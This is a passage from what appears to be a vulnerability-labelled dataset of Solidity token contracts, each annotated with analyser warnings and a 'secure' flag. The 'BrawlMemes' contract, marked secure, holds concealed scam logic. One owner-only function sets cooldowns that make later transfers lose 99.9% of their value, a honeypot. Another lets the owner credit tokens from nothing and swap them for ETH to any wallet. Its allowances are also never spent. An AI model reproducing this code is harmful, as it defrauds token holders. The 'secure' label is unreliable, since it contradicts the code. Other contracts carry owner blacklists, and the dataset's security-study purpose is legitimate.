}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bfa80b6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bfa80b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5fe9b9a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5fe9b9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: bfa80b6\n\t\t\t\t// reentrancy-eth | ID: 5fe9b9a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bfa80b6\n\t\t\t\t\t// reentrancy-eth | ID: 5fe9b9a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5fe9b9a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5fe9b9a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5fe9b9a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bfa80b6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5fe9b9a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5fe9b9a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bfa80b6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bfa80b6\n\t\t// reentrancy-events | ID: c246d32\n\t\t// reentrancy-benign | ID: a76c124\n\t\t// reentrancy-eth | ID: 5fe9b9a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 636cda7): bakso.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 636cda7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bfa80b6\n\t\t// reentrancy-events | ID: c246d32\n\t\t// reentrancy-eth | ID: 5fe9b9a\n\t\t// arbitrary-send-eth | ID: 636cda7\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5d37bfa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5d37bfa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 61515c2): bakso.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 61515c2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d2477da): bakso.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d2477da: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bd19e4e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bd19e4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5d37bfa\n\t\t// reentrancy-eth | ID: bd19e4e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5d37bfa\n\t\t// unused-return | ID: d2477da\n\t\t// reentrancy-eth | ID: bd19e4e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5d37bfa\n\t\t// unused-return | ID: 61515c2\n\t\t// reentrancy-eth | ID: bd19e4e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 5d37bfa\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bd19e4e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3737.sol",
"secure": 0,
"size_bytes": 16850
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Gnome is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d41ad0a): gnome._taxWallet should be immutable \n\t// Recommendation for d41ad0a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 239996d): gnome._initialBuyTax should be constant \n\t// Recommendation for 239996d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: c96c927): gnome._initialSellTax should be constant \n\t// Recommendation for c96c927: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a2925b): gnome._finalBuyTax should be constant \n\t// Recommendation for 6a2925b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8a62e97): gnome._finalSellTax should be constant \n\t// Recommendation for 8a62e97: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb72bd3): gnome._reduceBuyTaxAt should be constant \n\t// Recommendation for fb72bd3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6368217): gnome._reduceSellTaxAt should be constant \n\t// Recommendation for 6368217: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8ea2147): gnome._preventSwapBefore should be constant \n\t// Recommendation for 8ea2147: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Gnome Coin\";\n\n string private constant _symbol = unicode\"GNOME\";\n\n uint256 public _maxTxAmount = 3000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 3000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed21ff5): gnome._taxSwapThreshold should be constant \n\t// Recommendation for ed21ff5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1050000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 68fc150): gnome._maxTaxSwap should be constant \n\t// Recommendation for 68fc150: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 6300000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7893677): gnome.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7893677: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9b04b74): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9b04b74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 93f4012): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 93f4012: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9b04b74\n\t\t// reentrancy-benign | ID: 93f4012\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9b04b74\n\t\t// reentrancy-benign | ID: 93f4012\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1cac576): gnome._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1cac576: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 93f4012\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9b04b74\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c84f73a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c84f73a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 305c425): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 305c425: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e147b98): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e147b98: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 305c425\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: c84f73a\n\t\t\t\t// reentrancy-eth | ID: e147b98\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: c84f73a\n\t\t\t\t\t// reentrancy-eth | ID: e147b98\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e147b98\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c84f73a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e147b98\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e147b98\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c84f73a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9b04b74\n\t\t// reentrancy-events | ID: c84f73a\n\t\t// reentrancy-benign | ID: 93f4012\n\t\t// reentrancy-eth | ID: e147b98\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3f1381b): gnome.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3f1381b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9b04b74\n\t\t// reentrancy-events | ID: c84f73a\n\t\t// reentrancy-eth | ID: e147b98\n\t\t// arbitrary-send-eth | ID: 3f1381b\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5276422): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5276422: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f88118f): gnome.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f88118f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a1db0c6): gnome.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a1db0c6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ccad6bb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ccad6bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5276422\n\t\t// reentrancy-eth | ID: ccad6bb\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5276422\n\t\t// unused-return | ID: a1db0c6\n\t\t// reentrancy-eth | ID: ccad6bb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5276422\n\t\t// unused-return | ID: f88118f\n\t\t// reentrancy-eth | ID: ccad6bb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 5276422\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ccad6bb\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3738.sol",
"secure": 0,
"size_bytes": 17091
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract Humanist is ERC20, ERC20Burnable {\n constructor() ERC20(\"Humanist\", \"HUMAN\") {\n _mint(msg.sender, 125000000 * 10 ** decimals());\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n}",
"file_name": "solidity_code_3739.sol",
"secure": 1,
"size_bytes": 482
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract BrawlMemes is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d34fed): BrawlMemes._decimals should be constant \n\t// Recommendation for 6d34fed: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d3a670a): BrawlMemes._totalSupply should be immutable \n\t// Recommendation for d3a670a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 200000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 098ed6d): BrawlMemes._name should be constant \n\t// Recommendation for 098ed6d: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Brawl Memes\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 4694e7e): BrawlMemes._symbol should be constant \n\t// Recommendation for 4694e7e: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BRAWL\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e2200b6): BrawlMemes.uniV2Router should be constant \n\t// Recommendation for e2200b6: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: aee2ecc): BrawlMemes._taxWallet should be immutable \n\t// Recommendation for aee2ecc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function manualSendFee() public {}\n\n function setFee() external {}\n\n function setMinSwapTokensTreshold() public {}\n\n function setMaxWalletAndTx() public {}\n\n function manualSwap(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function openTrading(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_374.sol",
"secure": 1,
"size_bytes": 7101
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MCGA is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 54f8747): MCGA._decimals should be immutable \n\t// Recommendation for 54f8747: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 06f7064): MCGA._totalSupply should be immutable \n\t// Recommendation for 06f7064: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 233c8e8): MCGA._markadress should be immutable \n\t// Recommendation for 233c8e8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _markadress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _markadress = 